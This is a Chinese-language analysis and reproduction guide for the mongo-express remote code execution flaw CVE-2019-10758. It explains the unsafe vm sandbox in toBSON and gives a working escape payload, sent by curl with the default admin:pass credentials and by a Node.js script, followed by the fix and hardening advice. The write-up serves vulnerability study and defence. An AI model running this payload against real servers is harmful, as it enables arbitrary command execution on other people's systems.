CVE-2019-10758 mongo-express RCE 漏洞分析
字数 1323 2025-08-26 22:11:51
CVE-2019-10758 mongo-express RCE漏洞深度分析与复现指南
漏洞概述
CVE-2019-10758是mongo-express(一个基于Web的MongoDB管理界面)中的一个高危远程代码执行(RCE)漏洞。该漏洞存在于0.54.0之前的版本中,由于对vm模块的不安全使用,攻击者可以通过精心构造的输入实现沙箱逃逸并执行任意系统命令。
漏洞影响
- 影响版本:mongo-express < 0.54.0
- 漏洞类型:远程代码执行(RCE)
- CVSS评分:9.8 (Critical)
- 攻击复杂度:低
- 所需权限:需要认证(默认凭证admin:pass)
环境搭建
所需组件
- MongoDB数据库
- Node.js & npm
- 存在漏洞的mongo-express版本(<0.54.0)
搭建步骤
# 启动MongoDB容器
docker run -p 27017:27017 -d mongo
# 安装存在漏洞的mongo-express版本
npm install mongo-express@0.53.0
# 启动mongo-express
cd node_modules/mongo-express/ && npm start
默认访问地址:http://localhost:8081,使用默认凭证admin:pass登录。
漏洞分析
漏洞位置
漏洞核心位于mongo-express/lib/bson.js文件中的toBSON函数:
exports.toBSON = function (string) {
var sandbox = exports.getSandbox();
string = string.replace(/ISODate\(/g, 'new ISODate(');
string = string.replace(/Binary\(("[^"]+"),/g, 'Binary(new Buffer($1, "base64"),');
vm.runInNewContext('doc = eval((' + string + '));', sandbox);
return sandbox.doc;
};
攻击链分析
- 输入点:
/checkValid路由接收用户输入的document参数 - 危险函数调用:输入被传递给
bson.toBSON()函数 - 不安全执行:
vm.runInNewContext执行用户输入时未正确隔离 - 沙箱逃逸:通过原型链访问主进程的
Function构造函数 - RCE实现:获取
process对象并执行任意命令
漏洞利用原理
攻击者可以利用JavaScript原型链访问主进程的全局对象:
this.constructor.constructor("return process")().mainModule.require("child_process").execSync("calc")
解释:
this.constructor→ 获取Object构造函数.constructor→ 获取Function构造函数("return process")()→ 创建返回process对象的函数并执行- 通过
process.mainModule.require加载child_process模块 - 使用
execSync执行系统命令
漏洞复现
方法一:cURL利用
curl 'http://localhost:8081/checkValid' \
-H 'Authorization: Basic YWRtaW46cGFzcw==' \ # 默认凭证admin:pass的base64
--data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("calc")'
方法二:Node.js脚本利用
const exploit = "this.constructor.constructor(\"return process\")().mainModule.require('child_process').execSync('calc')";
const bson = require('mongo-express/lib/bson');
bson.toBSON(exploit);
漏洞修复
在0.54.0版本中,开发者移除了不安全的vm模块实现,改用mongodb-query-parser:
const parser = require('mongodb-query-parser');
exports.toBSON = function (string) {
return parser(string);
};
安全建议
- 立即升级到mongo-express 0.54.0或更高版本
- 修改默认凭证,使用强密码
- 限制mongo-express的访问IP
- 避免在生产环境使用Web数据库管理工具
深入理解:vm模块沙箱逃逸
vm模块设计缺陷导致沙箱逃逸的根本原因:
- 上下文对象共享:vm脚本的
this指向主程序传入的sandbox对象 - 原型链污染:通过原型链可以访问主程序的
Function构造函数 - 执行环境突破:使用主程序的
Function创建的函数会在主程序上下文中执行
安全替代方案:
- 使用
vm2等更安全的沙箱模块 - 严格限制用户输入,避免代码执行